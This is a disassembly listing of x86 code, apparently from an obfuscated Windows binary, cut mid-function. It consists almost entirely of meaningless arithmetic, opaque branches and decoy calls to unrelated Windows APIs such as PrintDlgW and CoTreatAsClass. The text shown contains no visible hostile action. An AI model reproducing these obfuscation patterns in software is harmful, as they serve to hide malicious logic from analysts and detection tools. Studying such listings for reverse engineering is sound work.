movzx ecx, byte [ebp - 0x44ad]
movzx edx, byte [ebp - 0x9b9]
add ecx, edx
mov byte [ebp - 0xf3d], cl
movzx eax, word [ebp - 0x5180]
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x1ff8], ax
mov eax, dword [ebp - 0x526c]
add eax, 0xee
mov dword [ebp - 0x526c], eax
movzx ecx, byte [ebp - 0x44ad]
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp + 0x18], cl
mov ecx, dword [ebp - 0x2960]
sub ecx, dword [ebp - 0x42e4]
mov dword [ebp - 0x27d0], ecx
mov edx, dword [ebp + 0x14]
add edx, dword [ebp - 0x26b8]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x42e4]
mov dword [ebp - 0x5644], ecx
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ebp - 0x2960]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp + 0x10]
add eax, ecx
mov word [ebp - 0x36b0], ax
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
sub eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x44ad], al
movzx eax, word [ebp - 0x2df0]
movzx ecx, word [ebp - 0x1ff8]
add eax, ecx
mov edx, dword [ebp - 0x3f0c]
mov word [edx], ax
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [ebp - 0x2b4c]
or ecx, dword [eax]
mov dword [ebp + 0x14], ecx
jmp 0x42c25c
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0xed0]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xf3d]
shl edx, cl
mov eax, dword [ebp - 0x3118]
mov byte [eax], dl
movzx ecx, word [ebp - 0x5180]
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3f0c]
mov word [edx], cx
mov eax, dword [ebp - 0x26b8]
and eax, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x37bc]
sub edx, 0x9d
mov dword [ebp - 0x37bc], edx
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9b9]
add ecx, edx
mov byte [ebp + 0x18], cl
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xf3d]
sub ecx, edx
mov byte [ebp + 0x18], cl
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1bc0]
mov dword [ebp - 0x2b4c], ecx
movzx edx, byte [ebp - 0x9b9]
movzx eax, byte [ebp - 0x44ad]
sub edx, eax
mov byte [ebp - 0xf3d], dl
movzx ecx, word [ebp - 0x2df0]
movzx edx, word [ebp - 0x5180]
sub ecx, edx
mov eax, dword [ebp - 0x351c]
mov word [eax], cx
mov ecx, dword [ebp - 0x1bc0]
sub ecx, dword [ebp - 0x2b4c]
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp - 0x3cac]
add edx, dword [ebp - 0x5644]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
add edx, eax
mov ecx, dword [ebp - 0x4e90]
mov byte [ecx], dl
movsx edx, word [ebp - 0x36b0]
movsx eax, word [ebp + 0x10]
xor edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5b24]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3118]
mov byte [edx], al
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1ff8]
or ecx, edx
mov eax, dword [ebp - 0x351c]
mov word [eax], cx
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x26b8]
shl edx, cl
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2b4c]
and ecx, dword [ebp - 0xee0]
mov dword [ebp - 0x1bc0], ecx
mov edx, dword [ebp - 0x539c]
mov eax, dword [ebp - 0xed0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x5644], ecx
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
sub eax, dword [ebp - 0xee0]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5644]
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xf3d], dl
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x2df0]
and eax, ecx
mov edx, dword [ebp - 0x351c]
mov word [edx], ax
mov eax, dword [ebp + 0x14]
add eax, dword [ebp - 0x26b8]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d68]
mov eax, dword [ebp - 0x3cac]
add eax, dword [edx]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp + 0x18], al
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [ebp - 0x2b4c]
sub ecx, dword [eax]
mov dword [ebp - 0x26b8], ecx
movzx edx, word [ebp - 0x5180]
movzx eax, word [ebp - 0x5668]
or edx, eax
mov ecx, dword [ebp - 0x5600]
mov word [ecx], dx
movzx edx, byte [ebp + 0x18]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], dl
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x36b0]
xor eax, ecx
mov edx, dword [ebp - 0x569c]
mov word [edx], ax
mov eax, dword [ebp - 0x4e90]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x3cc2], dl
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
and edx, dword [ebp + 0x14]
mov dword [ebp - 0x2b4c], edx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x42e4]
mov dword [ebp - 0x5644], ecx
cmp dword [ebp - 0x37bc], 0x215b
ja 0x42c42a
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x539c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4d68]
mov eax, dword [ebp - 0x42e4]
sub eax, dword [edx]
cmp ecx, eax
jle 0x42c789
movzx ecx, byte [ebp - 0xf3d]
push ecx
mov edx, dword [ebp - 0x4e90]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1ff8]
and edx, eax
mov ecx, dword [ebp - 0x5600]
mov word [ecx], dx
lea edx, [ebp - 0xbb0]
push edx
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0x5b94], eax
jmp 0x42c7c3
movsx ecx, byte [ebp - 0x3cc2]
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
add ecx, eax
movsx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x5cc4]
movsx eax, byte [eax]
add edx, eax
cmp ecx, edx
jle 0x42c7c3
movzx ecx, byte [ebp - 0x44ad]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp + 0x18], cl
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2b4c]
mov dword [ebp + 0x14], edx
mov eax, dword [ebp + 0x14]
add eax, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x2960]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2960]
shl eax, cl
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x44ad]
sar eax, cl
mov ecx, dword [ebp - 0x5b24]
mov byte [ecx], al
movzx edx, word [ebp - 0x5180]
movzx eax, word [ebp - 0x1ff8]
or edx, eax
mov word [ebp - 0x2df0], dx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ebp - 0x1bc0]
and edx, dword [ecx]
mov dword [ebp - 0xee0], edx
mov eax, dword [ebp - 0x539c]
mov ecx, dword [ebp - 0x5644]
add ecx, dword [eax]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp + 0x18], cl
mov ecx, dword [ebp - 0xed0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x42e4]
mov dword [ebp - 0x27d0], edx
movsx eax, byte [ebp - 0x3cc2]
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4e90]
mov byte [ecx], al
movsx edx, word [ebp + 0x10]
movsx eax, word [ebp - 0x36b0]
add edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
movzx edx, byte [ebp - 0xf3d]
movzx eax, byte [ebp - 0x9b9]
and edx, eax
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5180]
add eax, ecx
mov edx, dword [ebp - 0x5600]
mov word [edx], ax
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x26b8]
mov dword [ebp - 0x2b4c], ecx
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2b4c]
shl eax, cl
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2b4c]
xor edx, dword [ebp - 0xee0]
mov dword [ebp + 0x14], edx
movzx eax, byte [ebp - 0xf3d]
movzx ecx, byte [ebp - 0x44ad]
sar eax, cl
mov byte [ebp + 0x18], al
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ebp - 0x3cac]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
and edx, dword [ebp - 0xee0]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3cac]
add ecx, dword [ebp - 0x42e4]
mov dword [ebp - 0x5644], ecx
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x5668]
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x351c]
mov word [ecx], ax
movzx edx, byte [ebp - 0x9b9]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x44ad], dl
mov edx, dword [ebp - 0x23c4]
sub edx, 0xa1
mov dword [ebp - 0x23c4], edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x26b8]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x5644]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x3cc2]
movsx ecx, byte [ebp + 0xc]
add eax, ecx
mov byte [ebp + 8], al
cmp dword [ebp - 0x23c4], 0x7a11
jae 0x42c7c3
movsx edx, byte [ebp - 0x3cc2]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
movsx eax, byte [ebp + 8]
xor ecx, eax
cmp edx, ecx
jl 0x46c912
mov cl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x6148], cl
cmp byte [ebp - 0x6148], 0
je 0x42ca97
cmp byte [ebp - 0x6148], 6
je 0x42cbc4
jmp 0x42cc70
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x2960]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ebp - 0x3cac]
mov ecx, dword [ecx]
sar edx, cl
cmp eax, edx
jg 0x42cba0
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x26b8]
mov edx, dword [ebp - 0x1bc0]
and edx, dword [ebp + 0x14]
cmp ecx, edx
je 0x42cb95
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x26b8]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
mov dword [ebp - 0x614c], ecx
cmp dword [ebp - 0x614c], 0x9f8fdd13
je 0x42cb0e
jmp 0x42cb5d
lea edx, [ebp - 0x2900]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0x18a4], eax
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [ebp - 0xed0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x539c]
mov dword [eax], edx
push 0x36
lea ecx, [ebp - 0x3da8]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetSettings]
movzx edx, byte [ebp - 0x9b9]
movzx eax, byte [ebp - 0x44ad]
and edx, eax
mov byte [ebp + 0x18], dl
jmp 0x42cb95
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
push ecx
call fcn.004ef7c0
add esp, 8
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x5600]
mov word [ecx], ax
lea edx, [ebp + 0x18]
mov dword [ebp - 0x3780], edx
jmp 0x42cbb5
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
sub ecx, edx
mov byte [ebp + 8], cl
mov dword [ebp - 0x874], 0xcbb1
jmp 0x42cc70
lea eax, [ebp - 0x4f58]
push eax
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x37c4], eax
movzx ecx, word [ebp - 0x5180]
mov dword [ebp - 0x6150], ecx
cmp dword [ebp - 0x6150], 0x5f
je 0x42cbfb
cmp dword [ebp - 0x6150], 0x1bb
je 0x42cc13
jmp 0x42cc24
movsx edx, word [ebp - 0x36b0]
movsx eax, word [ebp + 0x10]
sub edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
jmp 0x42cc24
mov edx, dword [ebp - 0x3da8]
mov eax, dword [ebp - 0x26b8]
add eax, dword [edx]
mov dword [ebp + 0x14], eax
movzx ecx, byte [ebp - 0x9b9]
push ecx
mov edx, dword [ebp - 0x4e90]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0x5644]
add ecx, dword [ebp - 0x2960]
mov edx, dword [ebp - 0xed0]
mov dword [edx], ecx
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x26b8], eax
movzx eax, byte [ebp + 0x18]
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0xf3d], al
cmp dword [ebp - 0x874], 0xbc0d
jbe 0x42d092
movzx eax, word [ebp - 0x5180]
movzx ecx, word [ebp - 0x5668]
shl eax, cl
mov ecx, dword [ebp - 0x351c]
mov word [ecx], ax
mov edx, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x2b4c]
shr edx, cl
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3cac]
or ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0xed0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2b4c]
add eax, dword [ebp - 0x26b8]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x44ad]
movzx eax, byte [ebp - 0xf3d]
sub edx, eax
mov byte [ebp - 0x9b9], dl
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1ff8]
sub edx, eax
mov ecx, dword [ebp - 0x3f0c]
mov word [ecx], dx
mov edx, dword [ebp - 0x4d68]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
and eax, dword [ebp - 0x2960]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2b4c]
add edx, dword [ebp - 0xee0]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5644]
sub ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
add ecx, edx
mov eax, dword [ebp - 0x4e90]
mov byte [eax], cl
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x36b0]
xor edx, eax
mov word [ebp + 0x10], dx
movzx ecx, byte [ebp - 0x9b9]
movzx edx, byte [ebp + 0x18]
or ecx, edx
mov byte [ebp - 0x44ad], cl
mov eax, dword [ebp - 0x3f0c]
movzx edx, word [eax]
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x5180], dx
mov ecx, dword [ebp - 0x874]
sub ecx, 0xb6
mov dword [ebp - 0x874], ecx
mov edx, dword [ebp - 0x3da8]
mov eax, dword [ebp - 0x2b4c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x5644]
and ecx, dword [ebp - 0x42e4]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x5b24]
mov byte [edx], cl
movzx eax, word [ebp - 0x1ff8]
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x5600]
mov word [ecx], ax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
sub eax, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
add eax, dword [ebp - 0x27d0]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2b4c]
add edx, dword [ebp - 0x26b8]
mov dword [ebp + 0x14], edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xee0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x5668]
sub ecx, edx
mov eax, dword [ebp - 0x351c]
mov word [eax], cx
movzx ecx, byte [ebp - 0x44ad]
movzx edx, byte [ebp + 0x18]
add ecx, edx
mov eax, dword [ebp - 0x3780]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2b4c]
mov dword [ebp + 0x14], edx
mov eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x27d0]
sar eax, cl
mov dword [ebp - 0x42e4], eax
movsx ecx, word [ebp + 0x10]
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x36b0], cx
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
or edx, eax
mov ecx, dword [ebp - 0x4e90]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x9b9]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 0x18], dl
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x9b9]
and edx, eax
mov byte [ebp + 0x18], dl
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xee0]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2b4c]
sub ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0xed0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2960]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x9b9], cl
movzx ecx, word [ebp - 0x5180]
movzx edx, word [ebp - 0x2df0]
and ecx, edx
mov eax, dword [ebp - 0x3f0c]
mov word [eax], cx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1bc0]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 0x18], dl
mov ecx, dword [ebp - 0xed0]
mov edx, dword [ebp - 0x42e4]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x4d68]
mov dword [eax], edx
mov edx, dword [ebp - 0x26b8]
mov ecx, dword [ebp - 0xee0]
shr edx, cl
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
movzx ecx, byte [ebp + 0x18]
movzx edx, byte [ebp - 0x9b9]
or ecx, edx
mov byte [ebp - 0xf3d], cl
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1ff8]
sub ecx, edx
mov word [ebp - 0x5180], cx
movsx eax, word [ebp + 0x10]
movsx ecx, word [ebp - 0x36b0]
and eax, ecx
mov edx, dword [ebp - 0x569c]
mov word [edx], ax
jmp 0x42cc70
cmp dword [ebp - 0x5284], 0x57dd
jb 0x42d227
movsx eax, byte [ebp + 0xc]
movsx ecx, byte [ebp + 8]
sub eax, ecx
mov byte [ebp - 0x3cc2], al
mov edx, dword [ebp - 0x3da8]
mov eax, dword [ebp + 0x14]
add eax, dword [edx]
mov dword [ebp - 0x26b8], eax
mov ecx, dword [ebp - 0x2960]
add ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5284]
sub eax, 0x9b
mov dword [ebp - 0x5284], eax
movzx ecx, word [ebp - 0x5180]
movzx edx, word [ebp - 0x1ff8]
sub ecx, edx
mov eax, dword [ebp - 0x5600]
mov word [eax], cx
movzx ecx, byte [ebp - 0xf3d]
movzx edx, byte [ebp - 0x9b9]
sub ecx, edx
mov byte [ebp + 0x18], cl
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x539c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
add edx, dword [ebp - 0xee0]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5644]
and ecx, dword [ebp - 0x3cac]
mov dword [ebp - 0x27d0], ecx
mov edx, dword [ebp - 0x539c]
mov eax, dword [ebp - 0x5644]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3780]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3780]
mov byte [ecx], al
movzx edx, word [ebp - 0x5180]
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x5600]
mov word [ecx], dx
mov edx, dword [ebp - 0x2b4c]
mov ecx, dword [ebp - 0x1bc0]
shr edx, cl
mov dword [ebp - 0x26b8], edx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x539c]
add ecx, dword [edx]
mov dword [ebp - 0x3cac], ecx
mov eax, dword [ebp - 0x27d0]
sub eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3780]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp + 0x18], al
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [ebp - 0xed0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x5644], edx
movsx eax, word [ebp - 0x36b0]
movsx ecx, word [ebp + 0x10]
add eax, ecx
mov edx, dword [ebp - 0x569c]
mov word [edx], ax
jmp 0x42d092
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
add ecx, edx
mov eax, dword [ebp - 0x4e90]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x9b9]
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp + 0x18], cl
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x5668]
sub edx, eax
mov word [ebp - 0x2df0], dx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2b4c]
mov dword [ebp - 0x26b8], edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x26b8]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x44ad]
sub ecx, edx
mov byte [ebp + 0x18], cl
movzx eax, byte [ebp - 0x44ad]
movzx ecx, byte [ebp - 0x9b9]
xor eax, ecx
mov byte [ebp + 0x18], al
mov edx, dword [ebp - 0x539c]
mov eax, dword [ebp - 0x5644]
or eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x14]
shr eax, cl
mov dword [ebp - 0x1bc0], eax
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ebp - 0xed0]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x5644], eax
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp + 8], dl
movzx edx, byte [ebp - 0x9b9]
movzx eax, byte [ebp - 0xf3d]
add edx, eax
mov ecx, dword [ebp - 0x5b24]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5668]
sub eax, ecx
mov word [ebp - 0x2df0], ax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
and eax, dword [ebp - 0x2b4c]
mov dword [ebp - 0xee0], eax
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
